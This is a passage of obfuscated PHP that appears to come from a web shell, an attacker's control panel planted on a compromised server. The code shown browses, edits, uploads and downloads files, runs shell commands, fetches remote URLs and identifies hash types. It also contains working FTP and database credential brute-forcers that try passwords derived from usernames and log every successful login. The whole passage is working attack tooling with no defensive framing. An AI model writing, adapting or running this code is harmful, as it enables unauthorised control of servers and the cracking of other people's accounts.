3621 $a['bpasteall'] = z9s("56");
3622 }
3623 }
3624 $a['rename'] = z9s("73");
3625 $a['delete'] = z9s("72");
3626 return z5c(array('act' => 'd', 'd', 'tt' => $tt, 'showbuf'), z4a('dt', $a, '3') .
3627 z8v('»', '6'), $t);
3628}
3629function z1y($d, $t)
3630{
3631 return z5c(array('act' => 'd', 'd' => $d), z4a('dt', array('chdir' => z9s("425")),
3632 '3') . z8v('»', '6'), $t);
3633}
3634function z0w($d)
3635{
3636 return z5c(array('act' => 'ftp', 'flsort', 'ffsort', 'd' => $d), z4a('chdir',
3637 array('' => z9s("425")), '3') . z8v('»', '6'));
3638}
3639function z0q($t)
3640{
3641 return z5c(array('act' => 'ftp', 'flsort', 'ffsort', 'd', 'rd' => $t), z4a('ft',
3642 array('chdir' => z9s("425")), '3') . z8v('»', '6'));
3643}
3644function z0t($t)
3645{
3646 return z5c(array('act' => 'ftp', 'flsort', 'ffsort', 'd', 'lt' => $t), z4a('ft',
3647 array('upload' => z9s("197"), 'delete' => z9s("199")), '3') . z8v('»', '6'));
3648}
3649function z0r($t)
3650{
3651 return z5c(array('act' => 'ftp', 'flsort', 'ffsort', 'd', 'rt' => $t), z4a('ft',
3652 array('download' => z9s("198"), 'delete' => z9s("199")), '3') . z8v('»',
3653 '6'));
3654}
3655function z4q($t)
3656{
3657 if (z4e($t) || z4j($t) || z3j($t) || z0n($t) || z0v($t) || z5o($t))
3658 return 1;
3659 return 0;
3660}
3661function z2r($f, $t)
3662{
3663 global $nix, $sh_exec;
3664 if (@file_exists($f)) {
3665 if ($t == 'f')
3666 return @is_file($f);
3667 if ($t == 'd')
3668 return @is_dir($f);
3669 if ($t == 'L')
3670 return @is_link($f);
3671 if ($t == 'r')
3672 return @is_readable($f);
3673 if ($t == 'w')
3674 return @is_writable($f);
3675 if ($t == 'x')
3676 return @is_executable($f);
3677 } elseif ($nix && $sh_exec) {
3678 $h = z9t('if [ -' . $t . ' "' . $f .
3679 '" ]; then echo "istrue"; else echo "isfalse"; fi', 0);
3680 return (@strstr($h, "istrue") && !@strstr($h, "isfalse"));
3681 }
3682 return 0;
3683}
3684function z4e($f)
3685{
3686 return z2r($f, 'f');
3687}
3688function z4j($f)
3689{
3690 return z2r($f, 'd');
3691}
3692function z3j($f)
3693{
3694 return z2r($f, 'L');
3695}
3696function z0n($f)
3697{
3698 return z2r($f, 'r');
3699}
3700function z0v($f)
3701{
3702 return z2r($f, 'w');
3703}
3704function z5o($f)
3705{
3706 return z2r($f, 'x');
3707}
3708function z6n($i)
3709{
3710 $r = '';
3711 for ($n = 0; $n < @strlen($i); $n++)
3712 $r .= z8p(z8p($i[$n], 1) - z8p(1, 1), 2);
3713 return $r;
3714}
3715function z5p()
3716{
3717 echo @str_repeat('', 1024);
3718 @ob_flush();
3719 @flush();
3720}
3721function z3g($t, $s)
3722{
3723 $l = @strlen($s);
3724 if (@substr($t, -$l) == $s) {
3725 while (@substr($t, -$l) == $s)
3726 $t = @substr($t, 0, (@strlen($t) - $l));
3727 }
3728 return $t;
3729}
3730function z1k($t, $s = '/')
3731{
3732 $t = z1i($t);
3733 $t = z3g($t, $s);
3734 if (!@strstr($t, $s))
3735 return array();
3736 $e = @explode($s, $t);
3737 $f = $e[(@count($e) - 1)];
3738 $l = (@strlen($t) - @strlen($f));
3739 $d = @substr($t, 0, $l);
3740 return array(z1a($d), $f);
3741}
3742function z3p($t, $s = '/')
3743{
3744 $e = z1k($t, $s);
3745 return (@count($e) == 2 ? $e[0] : './');
3746}
3747function z2h($t, $s = '/')
3748{
3749 $e = z1k($t, $s);
3750 return (@count($e) == 2 ? $e[1] : $t);
3751}
3752function z2b($a, $s = '')
3753{
3754 $r = '';
3755 if (@is_array($a)) {
3756 for ($i = 0; $i < @count($a); $i++)
3757 $r .= z7l($a[$i], '12', (($i == 0) ? '2' . $s : (($i == (@count($a) - 1)) ? '3' .
3758 $s : $s)));
3759 } else {
3760 $r = z7l($a, '12', '23' . $s);
3761 }
3762 return z10e(z7i($r), '3');
3763}
3764function z1x($c, $e = '')
3765{
3766 $s = '';
3767 global $index;
3768 $i = $index;
3769 $a = array();
3770 if ($e != '') {
3771 foreach ($a as $k => $v) {
3772 if (@in_array($e, $v)) {
3773 $s = $k;
3774 break;
3775 }
3776 }
3777 }
3778 if ($s == '')
3779 $s = $e;
3780 if (@in_array($s, array('db', 'sql', 'pl', 'cgi', 'c', 'cc', 'cpp', 'h', 'hpp',
3781 'icl', 'ipp'))) {
3782 $c = @highlight_string('<?php' . $c . '?>', true);
3783 $p1 = @stripos($c, '<?php');
3784 $a = @substr($c, 0, $p1);
3785 $b = @substr($c, $p1 + 8);
3786 $c = $a . $b;
3787 $p2 = @strripos($c, '?>');
3788 $a = @substr($c, 0, $p2);
3789 $b = @substr($c, $p2 + 5);
3790 $c = $a . $b;
3791 } else {
3792 $c = @highlight_string($c, true);
3793 }
3794 $c = @str_replace(array('<font color="', '</font>'), array('<span style="color: ',
3795 '</span>'), $c);
3796 $c = @preg_replace('/(\r|\n)/', '', $c);
3797 echo '<pre><code>' . $c . '</code></pre>';
3798}
3799function z4s($f)
3800{
3801 global $filealiases;
3802 $r = array();
3803 if (@strstr($f, '/'))
3804 $f = z2h($f, '/');
3805 $ext = @strtolower(z2h($f, '.'));
3806 foreach ($filealiases as $k => $v) {
3807 if (@in_array($ext, $v))
3808 $r[] = $k;
3809 }
3810 return @array_unique($r);
3811}
3812function z4x($f)
3813{
3814 $a = z4s($f);
3815 $o = array('code', 'text');
3816 if (@count($a) > 0) {
3817 if (@count($a) > 1) {
3818 foreach ($a as $ft) {
3819 if (@in_array($ft, $o))
3820 return $ft;
3821 }
3822 return $a[0];
3823 } else {
3824 return $a[0];
3825 }
3826 } else {
3827 return '';
3828 }
3829}
3830function z3r($s)
3831{
3832 if (!@preg_match('/[A-Z]/i', $s))
3833 return $s;
3834 $s = @strtolower($s);
3835 for ($i = 0; $i < @strlen($s); $i++) {
3836 if (@preg_match('/[a-z]/', $s[$i])) {
3837 $s[$i] = @strtoupper($s[$i]);
3838 return $s;
3839 }
3840 }
3841 return $s;
3842}
3843function z3u($p)
3844{
3845 return @decbin(@hexdec($p));
3846}
3847function z4o($p)
3848{
3849 return @dechex(@bindec($p));
3850}
3851function z0l($p)
3852{
3853 $r = '';
3854 for ($i = 0; $i < @strLen($p); $i += 2) {
3855 $r .= @chr(@hexdec($p[$i] . $p[$i + 1]));
3856 }
3857 return $r;
3858}
3859function z1p($p)
3860{
3861 $r = '';
3862 for ($i = 0; $i < @strlen($p); ++$i)
3863 $r .= @sprintf('%02X', @ord($p[$i]));
3864 return @strtoupper($r);
3865}
3866function z0z($p)
3867{
3868 $r = '';
3869 for ($i = 0; $i < @strlen($p); ++$i)
3870 $r .= "\\x" . @sprintf('%02X', @ord($p[$i]));
3871 return @chunk_split($r);
3872}
3873function z1t($p)
3874{
3875 $r = '';
3876 for ($i = 0; $i < @strlen($p); ++$i)
3877 $r .= "\\x" . @sprintf('%02X', @ord($p[$i]));
3878 return @substr(@preg_replace('/.{1,76}/', "'\\0'.\n", $r), 0, -2);
3879 return @chunk_split($r);
3880}
3881function z0y($p)
3882{
3883 $r = '';
3884 for ($i = 0; $i < @strlen($p); ++$i)
3885 $r .= '%' . @dechex(@ord($p[$i]));
3886 return @strtoupper($r);
3887}
3888function z4v($i)
3889{
3890 return @chunk_split(@base64_encode($i));
3891}
3892function z3m($i)
3893{
3894 return @substr(@preg_replace('/.{1,76}/', "'\\0'.\n", @base64_encode($i)), 0, -
3895 2);
3896}
3897function z3t($t)
3898{
3899 $r = '';
3900 if (@preg_match_all('/(?<strings>[\x20-\x7E]{4,})[^\x20-\x7E]?/', $t, $m)) {
3901 foreach ($m["strings"] as $s) {
3902 $r .= $s . "\r\n";
3903 }
3904 }
3905 return $r;
3906}
3907function z0x()
3908{
3909 $encode_functions = array();
3910 foreach (array("z3t" => "Strings", "urlencode" => "Urlencode", "urldecode" =>
3911 "Urldecode", "z0y" => "Full Urlencode", "rawurlencode" => "Rawurlencode",
3912 "rawurldecode" => "Rawurldecode", "base64_encode" => "Base64 Encode", "z4v" =>
3913 "Base64 Encode + Chunk", "z3m" => "Base64 Encode + Chunk + Quotes",
3914 "base64_decode" => "Base64 Decode", "z1p" => "ASCII to HEX", "z0z" =>
3915 "ASCII to HEX + Chunk", "z0l" => "HEX to ASCII", "z_hexdec" => "HEX to DEC",
3916 "z3u" => "HEX to BIN", "dechex" => "DEC to HEX", "decbin" => "DEC to BIN", "z4o" =>
3917 "BIN to HEX", "bindec" => "BIN to DEC", "strtolower" => "String to lowercase",
3918 "strtoupper" => "String to UPPERCASE", "htmlspecialchars" => "Htmlspecialchars",
3919 "strlen" => "String Length", "strrev" => "Reverse String") as $key => $val) {
3920 if (z7r($key) || z7r(@substr($key, 0, @strlen($key) - 1))) {
3921 $encode_functions[$key] = "$val";
3922 }
3923 }
3924 return $encode_functions;
3925}
3926function z3z($h)
3927{
3928 return (@preg_match('/^[0-9a-fA-F]+$/', $h) ? 1 : 0);
3929}
3930function z1b($h)
3931{
3932 return (@preg_match('/^[0-9a-zA-Z+\/.]+==$/', $h) ? 1 : 0);
3933}
3934function z2k($h)
3935{
3936 $l = @strlen($h);
3937 $r = 'Unknown';
3938 if ($l === 32) {
3939 if (z3z($h)) {
3940 $r = 'MD5 / MD4 / MD2 / NTLM / Tiger128 / SNEFRU128 / RipeMD128 / Haval128_3 / Haval128_4 / Haval128_5 / Domain Cached Credentials';
3941 } elseif (@preg_match('/^[0-9A-F]+$/', $h)) {
3942 $r = 'Windows-LM / Windows-NTLM / RC4';
3943 } elseif (@preg_match('/^[0-9a-zA-Z+\/.]+$/', $h)) {
3944 $r = 'Haval192 (Base64) / Tiger-192 (Base64)';
3945 }
3946 } elseif ($l === 40) {
3947 if (z3z($h)) {
3948 $r = 'SHA-0 / SHA-1 / Tiger160 / RipeMD160 / MySQL v5.x / Haval160 / Haval160_3 / Haval160_4 / Haval160_5';
3949 }
3950 } elseif ($l === 8) {
3951 if (z3z($h)) {
3952 $r = 'ADLER32 / CRC-32 / CRC-32B / GHash-32-3 / GHash-32-3';
3953 }
3954 } elseif ($l === 13) {
3955 if (@preg_match('/^[0-9a-zA-Z\/.]$/', $h)) {
3956 $r = 'DES (Unix)';
3957 }
3958 } elseif ($l === 16) {
3959 if (z3z($h)) {
3960 $r = 'MySQL';
3961 }
3962 } elseif ($l === 4) {
3963 if (z3z($h)) {
3964 $r = 'CRC-16 / CRC-16-CCITT / FCS-16';
3965 }
3966 } elseif ($l === 34) {
3967 if (@preg_match('/^\$1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/', $h)) {
3968 $r = 'MD5 (Unix)';
3969 } elseif (@preg_match('/^\$P\$B[0-9a-zA-Z\/.]$/', $h)) {
3970 $r = 'MD5(WordPress)';
3971 } elseif (@preg_match('/^\$H\$9[0-9a-zA-Z\/.]$/', $h)) {
3972 $r = 'MD5(PhpBB3)';
3973 }
3974 } elseif ($l === 128) {
3975 if (z3z($h)) {
3976 $r = 'SHA-512 / WHIRLPOOL / SALSA20';
3977 }
3978 } elseif ($l === 96) {
3979 if (z3z($h)) {
3980 $r = 'SHA-384';
3981 }
3982 } elseif ($l === 48) {
3983 if (z3z($h)) {
3984 $r = 'Haval192 / Haval192_4 / Haval192_5 / Tiger192 / Tiger2 / SALSA10';
3985 }
3986 } elseif ($l === 56) {
3987 if (z3z($h)) {
3988 $r = 'Haval224 / Haval244_3 / Haval244_4 / SHA224';
3989 }
3990 if (z1b($h)) {
3991 $r = 'RipeMD320 (Base64)';
3992 }
3993 } elseif ($l === 64) {
3994 if (z3z($h)) {
3995 $r = 'SNEFRU256 / SHA-256 / RipeMD256 / Panama / Haval256 / Haval256_3 / Haval256_4 / Haval256_5';
3996 } elseif (@preg_match('/^[0-9a-zA-Z+\/.]+$/', $h)) {
3997 $r = 'SHA384 (Base64)';
3998 }
3999 } elseif ($l === 37) {
4000 if (@preg_match('/^\$apr1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/', $h)) {
4001 $r = 'MD5 (APR)';
4002 }
4003 } elseif ($l === 80) {
4004 if (z3z($h)) {
4005 $r = 'RipeMD320';
4006 }
4007 } elseif ($l === 24) {
4008 if (z1b($h)) {
4009 $r = 'Haval128 (Base64) / MD2 (Base64) / MD4 (Base64) / MD5 (Base64) / RipeMD128 (Base64) / SNEFRU128 (Base64) / Tiger128 (Base64)';
4010 }
4011 } elseif ($l === 28) {
4012 if (@preg_match('/^[0-9a-zA-Z+\/.]+=$/', $h)) {
4013 $r = 'SHA-1 (Base64) / Haval160 (Base64) / RipeMD160 (Base64) / Tiger160 (Base64)';
4014 }
4015 } elseif ($l === 44) {
4016 if (@preg_match('/^[0-9a-zA-Z+\/.]+=$/', $h)) {
4017 $r = 'Haval256 (Base64) / RipeMD256 (Base64) / SHA256 (Base64) / SNEFRU256 (Base64)';
4018 }
4019 } elseif ($l === 88) {
4020 if (z1b($h)) {
4021 $r = 'SHA512 (Base64) / WHIRLPOOL (Base64)';
4022 }
4023 } elseif ($l === 9) {
4024 if (@is_numeric($h)) {
4025 $r = 'Elf-32';
4026 }
4027 }
4028 return $r;
4029}
4030function z2v()
4031{
4032 global $tmonth_arr, $tday_arr, $tyear_arr, $thour_arr, $tmin_arr, $tsec_arr;
4033 $tmonth_arr = array("" => "Month");
4034 $tday_arr = array("" => "Day");
4035 $tyear_arr = array("" => "Year");
4036 $thour_arr = array("" => "Hour");
4037 $tmin_arr = array("" => "Min");
4038 $tsec_arr = array("" => "Sec");
4039 foreach (array("January", "February", "March", "April", "May", "June", "July",
4040 "August", "September", "October", "November", "December") as $tmm)
4041 $tmonth_arr[$tmm] = $tmm;
4042 for ($i = 1; $i <= 31; $i++)
4043 $tday_arr[$i] = $i;
4044 for ($i = 1998; $i <= @date("Y"); $i++)
4045 $tyear_arr[$i] = $i;
4046 for ($i = 1; $i <= 24; $i++)
4047 $thour_arr[$i] = $i;
4048 for ($i = 1; $i < 60; $i++) {
4049 $tmin_arr[$i] = $i;
4050 $tsec_arr[$i] = $i;
4051 }
4052}
4053function z2j()
4054{
4055 global $nix, $sh_exec, $ft, $d, $f;
4056 $r = '';
4057 $a = array('functions' => z9s("74"), 'edit' => z9s("75"), 'text' => z9s("79"),
4058 'code' => z9s("80"), 'html' => z9s("81"), 'htmls' => z9s("82"), 'exe' => z9s("83"),
4059 'sess' => z9s("84"), 'sdb' => z9s("85"), 'ini' => z9s("86"), 'img' => z9s("87"),
4060 'hex' => z9s("88"));
4061 if (($wwwdir = z3k()) !== false) {
4062 if (@strstr($d . $f, $wwwdir) !== false) {
4063 $a['web'] = z9s("89");
4064 }
4065 }
4066 $a['download'] = z9s("76");
4067 $fta = z4s($f);
4068 foreach ($a as $k => $v) {
4069 if ($k != 'exe' || ($k == 'exe' && $sh_exec))
4070 $r .= z7l(z5c(array('act' => 'f', 'd', 'f', 'ft' => $k), z8v($v, (($ft == $k) ?
4071 '12' : ((@in_array($k, $fta)) ? '13' : '14')))));
4072 }
4073 echo z7s(z7i($r));
4074}
4075function z5f($d)
4076{
4077 global $found, $found_d, $found_f, $search_i_f, $search_i_d, $ar, $with_ls, $s_rec,
4078 $sdir;
4079 $d = z1a($d);
4080 $h = z8k($d);
4081 if (count($h) > 0) {
4082 foreach ($h as $f) {
4083 $f = z2h($f);
4084 if ($f != "." && $f != ".." && $f != '') {
4085 $bool = (@empty($ar["sn_reg"]) && @strpos($f, $ar["sn"]) !== false) || ($ar["sn_reg"] &&
4086 @preg_match("/" . $ar["sn"] . "/", $f));
4087 if (z4j($d . $f)) {
4088 $search_i_d++;
4089 if (@empty($ar["st"]) && (@empty($ar["s_fd"]) || $ar["s_fd"] == "2") && $bool) {
4090 $found[] = $d . $f;
4091 $found_d++;
4092 }
4093 if (!z3j($d . $f)) {
4094 if (@empty($s_rec)) {
4095 z5f($d . $f);
4096 } elseif (@is_numeric($s_rec)) {
4097 $countrec = @count(@explode('/', @substr($d . $f, @strlen($sdir))));
4098 if ($countrec <= $s_rec)
4099 z5f($d . $f);
4100 }
4101 }
4102 } else {
4103 if (@empty($ar["s_fd"]) || $ar["s_fd"] == "1") {
4104 $search_i_f++;
4105 if ($bool) {
4106 if (!@empty($ar["st"])) {
4107 $r = z9p($d . $f);
4108 if ($ar["st_wwo"]) {
4109 $ar["st"] = " " . @trim($ar["st"]) . " ";
4110 }
4111 if (!$ar["st_cs"]) {
4112 $ar["st"] = @strtolower($ar["st"]);
4113 $r = @strtolower($r);
4114 }
4115 if ($ar["st_reg"]) {
4116 $bool = @preg_match("/" . $ar["st"] . "/", $r);
4117 } else {
4118 $bool = @strstr($r, $ar["st"]);
4119 }
4120 if ($ar["st_not"]) {
4121 $bool = !$bool;
4122 }
4123 if ($bool) {
4124 $found[] = $d . $f;
4125 $found_f++;
4126 }
4127 } else {
4128 $found[] = $d . $f;
4129 $found_f++;
4130 }
4131 }
4132 }
4133 }
4134 }
4135 }
4136 }
4137}
4138function z5s($path, $wildcards, $recursive, $find = false)
4139{
4140 global $nix, $sh_exec;
4141 $ar_f = $ar_w = array();
4142 $path = @trim($path);
4143 $path = z1a($path);
4144 if (z4j($path)) {
4145 $tmpw = @explode(";", $wildcards);
4146 if (@count($tmpw) > 0) {
4147 foreach (@array_unique($tmpw) as $tmp) {
4148 $tmp = @trim($tmp);
4149 if (!@empty($tmp) && !@in_array($tmp, $ar_w)) {
4150 $ar_w[] = $tmp;
4151 }
4152 }
4153 if (@count($ar_w) > 0) {
4154 if ($find) {
4155 if ($nix && $sh_exec) {
4156 if (!@is_numeric($recursive) || $recursive == "0") {
4157 $recursive = 1;
4158 } else {
4159 $recursive++;
4160 }
4161 $searchres = '';
4162 foreach ($ar_w as $tmpw) {
4163 $searchres .= z9t('find "' . $path . '" -maxdepth ' . $recursive .
4164 ' -type f -name "' . $tmpw . '"');
4165 }
4166 if ($searchres != '') {
4167 $tmpres = @explode("\n", $searchres);
4168 $searchres = '';
4169 foreach (@array_unique($tmpres) as $tmp_f) {
4170 $tmp_f = @trim($tmp_f);
4171 if (!@in_array($tmp_f, $ar_f)) {
4172 $ar_f[] = $tmp_f;
4173 }
4174 }
4175 }
4176 }
4177 } else {
4178 $fpaths = $tpaths = $spaths = array();
4179 $tpath = '';
4180 $tpaths[] = '';
4181 if (@is_numeric($recursive) && $recursive > 0) {
4182 for ($i = 0; $i < $recursive; $i++) {
4183 $tpath .= '*/';
4184 $tpaths[] = $tpath;
4185 }
4186 }
4187 foreach (@array_unique($tpaths) as $tpath) {
4188 foreach (@array_unique($ar_w) as $fpath) {
4189 $fpath = @trim($fpath);
4190 if (!@empty($fpath)) {
4191 $fpaths[] = $tpath . $fpath;
4192 }
4193 }
4194 }
4195 foreach (@array_unique($fpaths) as $fpath) {
4196 $spaths[] = $path . $fpath;
4197 }
4198 unset($fpaths);
4199 unset($tpaths);
4200 foreach ($spaths as $spath) {
4201 $tglob = @glob($spath);
4202 if (@count($tglob) > 0) {
4203 foreach ($tglob as $tfile) {
4204 if (!@in_array($tfile, $ar_f))
4205 $ar_f[] = $tfile;
4206 }
4207 }
4208 }
4209 unset($spaths);
4210 }
4211 }
4212 }
4213 }
4214 return @array_unique($ar_f);
4215}
4216function z3a($u)
4217{
4218 $s = @curl_init();
4219 @curl_setopt($s, CURLOPT_URL, $u);
4220 @curl_setopt($s, CURLOPT_USERAGENT, z7x('2', 'downloada'));
4221 @curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
4222 $r = @curl_exec($s);
4223 @curl_close($s);
4224 return $r;
4225}
4226function z2f($u)
4227{
4228 $r = '';
4229 if (!@strstr($u, '://'))
4230 return $r;
4231 $s = @substr($u, 0, @strpos($u, '://') + 3);
4232 $uh = @substr($u, @strlen($s));
4233 $e = @explode('/', $uh);
4234 $h = $e[0];
4235 $p = @substr($uh, @strlen($h));
4236 $fp = @fsockopen($h, 80, $errno, $errstr, 30);
4237 @fputs($fp, "GET $p HTTP/1.1\r\n");
4238 @fputs($fp, "Host: $h\r\n");
4239 @fputs($fp, "User-Agent: " . z7x('2', 'downloada') . "\r\n");
4240 @fputs($fp, "Connection: close\r\n\r\n");
4241 while (!@feof($fp) && ($debug = @fgets($fp)) != "\r\n")
4242 ;
4243 while (!@feof($fp))
4244 $r .= @fgets($fp, 1024);
4245 @fclose($fp);
4246 return $r;
4247}
4248function z3h($host, $user, $pass, $port, $timeout)
4249{
4250 $ftp = @ftp_connect($host, $port, $timeout);
4251 if (!$ftp) {
4252 return "failed";
4253 } else {
4254 if (@ftp_login($ftp, $user, $pass)) {
4255 return "valid";
4256 } else {
4257 return "invalid";
4258 }
4259 @ftp_close($ftp);
4260 }
4261}
4262function z2t($host, $port, $time, $try1, $try2, $try3, $try4, $user, $pass = null)
4263{
4264 $count = 0;
4265 $success = 0;
4266 $res = 0;
4267 $log = "";
4268 if ($pass != null) {
4269 $count++;
4270 $res = z3h($host, $user, $pass, $port, $time);
4271 if ($res == "failed") {
4272 echo "Can't connect to $host:$port\r\n";
4273 return false;
4274 }
4275 if ($res == "valid") {
4276 echo "[+] $user:$pass - success\r\n";
4277 $log .= "ftp://$host:$port - $user $pass\r\n";
4278 $success++;
4279 }
4280 if ($res != "valid" && $try4 == "1") {
4281 $count++;
4282 $res = z3h($host, $user, z9i($pass), $port, $time);
4283 if ($res == "valid") {
4284 echo "[+] $user:" . z9i($pass) . " - success\r\n";
4285 $log .= "ftp://$host:$port - $user " . z9i($pass) . "\r\n";
4286 $success++;
4287 }
4288 }
4289 } else {
4290 $count++;
4291 $res = z3h($host, $user, $user, $port, $time);
4292 if ($res == "failed") {
4293 echo "Can't connect to $host:$port\r\n";
4294 return false;
4295 }
4296 if ($res == "valid") {
4297 echo "[+] $user:$user - success\r\n";
4298 $log .= "ftp://$host:$port - $user $user\r\n";
4299 $success++;
4300 }
4301 if ($res != "valid" && $try1 == "1") {
4302 $count++;
4303 $res = z3h($host, $user, @strrev($user), $port, $time);
4304 if ($res == "valid") {
4305 echo "[+] $user:" . @strrev($user) . " - success\r\n";
4306 $log .= "ftp://$host:$port - $user " . @strrev($user) . "\r\n";
4307 $success++;
4308 }
4309 }
4310 if ($res != "valid" && $try2 == "1") {
4311 $count++;
4312 $res = z3h($host, $user, $user . "1", $port, $time);
4313 if ($res == "valid") {
4314 echo "[+] $user:" . $user . "1 - success\r\n";
4315 $log .= "ftp://$host:$port - $user " . $user . "1\r\n";
4316 $success++;
4317 }
4318 }
4319 if ($res != "valid" && $try3 == "1") {
4320 $count++;
4321 $res = z3h($host, $user, $user . "123", $port, $time);
4322 if ($res == "valid") {
4323 echo "[+] $user:" . $user . "123 - success\r\n";
4324 $log .= "ftp://$host:$port - $user " . $user . "123\r\n";
4325 $success++;
4326 }
4327 }
4328 if ($res != "valid" && $try4 == "1") {
4329 $count++;
4330 $res = z3h($host, $user, z9i($user), $port, $time);
4331 if ($res == "valid") {
4332 echo "[+] $user:" . z9i($user) . " - success\r\n";
4333 $log .= "ftp://$host:$port - $user " . z9i($user) . "\r\n";
4334 $success++;
4335 }
4336 }
4337 }
4338 return array($count, $success, $log);
4339}
4340function z4u($host, $user, $pass, $port, $dbtype, $base = '')
4341{
4342 $sql = new my_sql();
4343 $sql->db = $dbtype;
4344 $sql->host = $host;
4345 $sql->port = $port;
4346 $sql->user = $user;
4347 $sql->pass = $pass;
4348 if ($base != '') {
4349 $sql->base = $base;
4350 }
4351 if ($sql->connect()) {
4352 return "valid";
4353 } else {
4354 return "invalid";
4355 }
4356}
4357function z2e($host, $port, $dbtype, $try1, $try2, $try3, $try4, $user, $pass = null,
4358 $sqldb = '')
4359{
4360 $count = 0;
4361 $success = 0;
4362 $res = 0;
4363 $log = "";
4364 if ($pass != null) {
4365 $count++;
4366 $res = z4u($host, $user, $pass, $port, $dbtype, $sqldb);
4367 if ($res == "valid") {
4368 echo "[+] $user:$pass - success\r\n";
4369 $log .= "$dbtype - $host:$port - $user $pass\r\n";
4370 $success++;
4371 }
4372 if ($res != "valid" && $try1 == "1") {
4373 $count++;
4374 $res = z4u($host, $user, @strrev($pass), $port, $dbtype, $sqldb);
4375 if ($res == "valid") {
4376 echo "[+] $user:" . @strrev($pass) . " - success\r\n";
4377 $log .= "$dbtype - $host:$port - $pass " . @strrev($user) . "\r\n";
4378 $success++;
4379 }
4380 if ($res != "valid" && $try4 == "1") {
4381 $count++;
4382 $res = z4u($host, $user, z9i(@strrev($pass)), $port, $dbtype, $sqldb);
4383 if ($res == "valid") {
4384 echo "[+] $user:" . z9i(@strrev($pass)) . " - success\r\n";
4385 $log .= "$dbtype - $host:$port - $user " . z9i(@strrev($pass)) . "\r\n";
4386 $success++;
4387 }
4388 }
4389 }
4390 if ($res != "valid" && $try2 == "1") {
4391 $count++;
4392 $res = z4u($host, $user, $pass . "1", $port, $dbtype, $sqldb);
4393 if ($res == "valid") {
4394 echo "[+] $user:" . $pass . "1 - success\r\n";
4395 $log .= "$dbtype - $host:$port - $user " . $pass . "1\r\n";
4396 $success++;
4397 }
4398 if ($res != "valid" && $try4 == "1") {
4399 $count++;
4400 $res = z4u($host, $user, z9i($pass . "1"), $port, $dbtype, $sqldb);
4401 if ($res == "valid") {
4402 echo "[+] $user:" . z9i($pass . "1") . " - success\r\n";
4403 $log .= "$dbtype - $host:$port - $user " . z9i($pass . "1") . "\r\n";
4404 $success++;
4405 }
4406 }
4407 }
4408 if ($res != "valid" && $try3 == "1") {
4409 $count++;
4410 $res = z4u($host, $user, $pass . "123", $port, $dbtype, $sqldb);
4411 if ($res == "valid") {
4412 echo "[+] $user:" . $pass . "123 - success\r\n";
4413 $log .= "$dbtype - $host:$port - $user " . $pass . "123\r\n";
4414 $success++;
4415 }
4416 if ($res != "valid" && $try4 == "1") {
4417 $count++;
4418 $res = z4u($host, $user, z9i($pass . "123"), $port, $dbtype, $sqldb);
4419 if ($res == "valid") {
4420 echo "[+] $user:" . z9i($pass . "123") . " - success\r\n";
4421 $log .= "$dbtype - $host:$port - $user " . z9i($pass . "123") . "\r\n";
4422 $success++;
4423 }
4424 }
4425 }
4426 if ($res != "valid" && $try4 == "1") {
4427 $count++;
4428 $res = z4u($host, $user, z9i($pass), $port, $dbtype, $sqldb);
4429 if ($res == "valid") {
4430 echo "[+] $user:" . z9i($pass) . " - success\r\n";
4431 $log .= "$dbtype - $host:$port - $user " . z9i($pass) . "\r\n";
4432 $success++;
4433 }
4434 }
4435 } else {
4436 $count++;
4437 $res = z4u($host, $user, $user, $port, $dbtype, $sqldb);
4438 if ($res == "valid") {
4439 echo "[+] $user:$user - success\r\n";
4440 $log .= "$dbtype - $host:$port - $user $user\r\n";
4441 $success++;
4442 }
4443 if ($res != "valid" && $try1 == "1") {
4444 $count++;
4445 $res = z4u($host, $user, @strrev($user), $port, $dbtype, $sqldb);
4446 if ($res == "valid") {
4447 echo "[+] $user:" . @strrev($user) . " - success\r\n";
4448 $log .= "$dbtype - $host:$port - $user " . @strrev($user) . "\r\n";
4449 $success++;
4450 }
4451 if ($res != "valid" && $try4 == "1") {
4452 $count++;
4453 $res = z4u($host, $user, z9i(@strrev($user)), $port, $dbtype, $sqldb);
4454 if ($res == "valid") {
4455 echo "[+] $user:" . z9i(@strrev($user)) . " - success\r\n";
4456 $log .= "$dbtype - $host:$port - $user " . z9i(@strrev($user)) . "\r\n";
4457 $success++;
4458 }
4459 }
4460 }
4461 if ($res != "valid" && $try2 == "1") {
4462 $count++;
4463 $res = z4u($host, $user, $user . "1", $port, $dbtype, $sqldb);
4464 if ($res == "valid") {
4465 echo "[+] $user:" . $user . "1 - success\r\n";
4466 $log .= "$dbtype - $host:$port - $user " . $user . "1\r\n";
4467 $success++;
4468 }
4469 if ($res != "valid" && $try4 == "1") {
4470 $count++;
4471 $res = z4u($host, $user, z9i($user . "1"), $port, $dbtype, $sqldb);
4472 if ($res == "valid") {
4473 echo "[+] $user:" . z9i($user . "1") . " - success\r\n";
4474 $log .= "$dbtype - $host:$port - $user " . z9i($user . "1") . "\r\n";
4475 $success++;
4476 }
4477 }
4478 }
4479 if ($res != "valid" && $try3 == "1") {
4480 $count++;
4481 $res = z4u($host, $user, $user . "123", $port, $dbtype, $sqldb);
4482 if ($res == "valid") {
4483 echo "[+] $user:" . $user . "123 - success\r\n";
4484 $log .= "$dbtype - $host:$port - $user " . $user . "123\r\n";
4485 $success++;
4486 }
4487 if ($res != "valid" && $try4 == "1") {
4488 $count++;
4489 $res = z4u($host, $user, z9i($user . "123"), $port, $dbtype, $sqldb);
4490 if ($res == "valid") {
4491 echo "[+] $user:" . z9i($user . "123") . " - success\r\n";
4492 $log .= "$dbtype - $host:$port - $user " . z9i($user . "123") . "\r\n";
4493 $success++;
4494 }
4495 }
4496 }
4497 if ($res != "valid" && $try4 == "1") {
4498 $count++;
4499 $res = z4u($host, $user, z9i($user), $port, $dbtype, $sqldb);
4500 if ($res == "valid") {
4501 echo "[+] $user:" . z9i($user) . " - success\r\n";
4502 $log .= "$dbtype - $host:$port - $user " . z9i($user) . "\r\n";
4503 $success++;
4504 }
4505 }
4506 }
4507 return array($count, $success, $log);
4508}
4509function z2w($a, $b, $c)
4510{
4511 global $count, $success, $log;
4512 $count += $a;
4513 $success += $b;
4514 $log .= $c;
4515}
4516function z0j($a, $d)
4517{
4518 $z = new ZipArchive;
4519 if ($z->open($a) === true) {
4520 $z->extractTo($d);
4521 $z->close();
4522 return true;
4523 } else {
4524 return false;
4525 }
4526}
4527function z0b($return = false)
4528{
4529 @ob_start();
4530 @phpinfo(-1);
4531 $pi = @preg_replace(array('#^.*<body>(.*)</body>.*$#ms',
